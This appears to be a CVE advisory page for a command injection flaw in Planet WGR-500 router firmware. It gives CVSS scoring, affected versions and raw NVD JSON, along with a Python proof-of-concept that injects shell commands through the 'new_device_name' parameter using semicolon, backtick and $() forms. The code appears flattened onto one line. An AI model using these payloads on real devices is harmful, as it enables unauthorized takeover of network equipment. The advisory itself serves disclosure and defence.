Security Vulnerability Report
中文
CVE-2025-54404 CVSS 8.8 HIGH

CVE-2025-54404

Published: 2025-10-07 14:15:38
Last Modified: 2025-11-03 18:17:00

Description

Multiple OS command injection vulnerabilities exist in the swctrl functionality of Planet WGR-500 v1.3411b190912. A specially crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This command injection is related to the `new_device_name` request parameter.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:* - NOT VULNERABLE
Planet WGR-500 < v1.3411b190912(固件版本v1.3411b190912及之前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54404 - Planet WGR-500 swctrl OS Command Injection PoC # Vulnerability: Command injection via 'new_device_name' parameter in swctrl functionality # Affected: Planet WGR-500 v1.3411b190912 import requests TARGET_HOST = "http://192.168.1.1" USERNAME = "admin" PASSWORD = "password" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET_HOST}/login.cgi" login_data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Send crafted request with command injection in new_device_name parameter # The injected command is placed after a semicolon to break out of the original command swctrl_url = f"{TARGET_HOST}/swctrl.cgi" injected_payload = "test_device; id > /tmp/pwned.txt" payload_data = { "action": "set_device_name", "new_device_name": injected_payload } response = session.post(swctrl_url, data=payload_data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:500]}") # Alternative: Using backticks for command substitution payload_data2 = { "action": "set_device_name", "new_device_name": "test_`id`" } response2 = session.post(swctrl_url, data=payload_data2) print(f"Status Code: {response2.status_code}") # Alternative: Using $() for command substitution payload_data3 = { "action": "set_device_name", "new_device_name": "test_$(id)" } response3 = session.post(swctrl_url, data=payload_data3) print(f"Status Code: {response3.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54404", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:38.307", "lastModified": "2025-11-03T18:16:59.590", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Multiple OS command injection vulnerabilities exist in the swctrl functionality of Planet WGR-500 v1.3411b190912. A specially crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This command injection is related to the `new_device_name` request parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:*", "matchCriteriaId": "B2595E4C-3CBF-44C8-B4E4-56498F94899E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD4C9C5C-B223-4AED-9210-E0ADA4150E0B"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2227", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2227", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}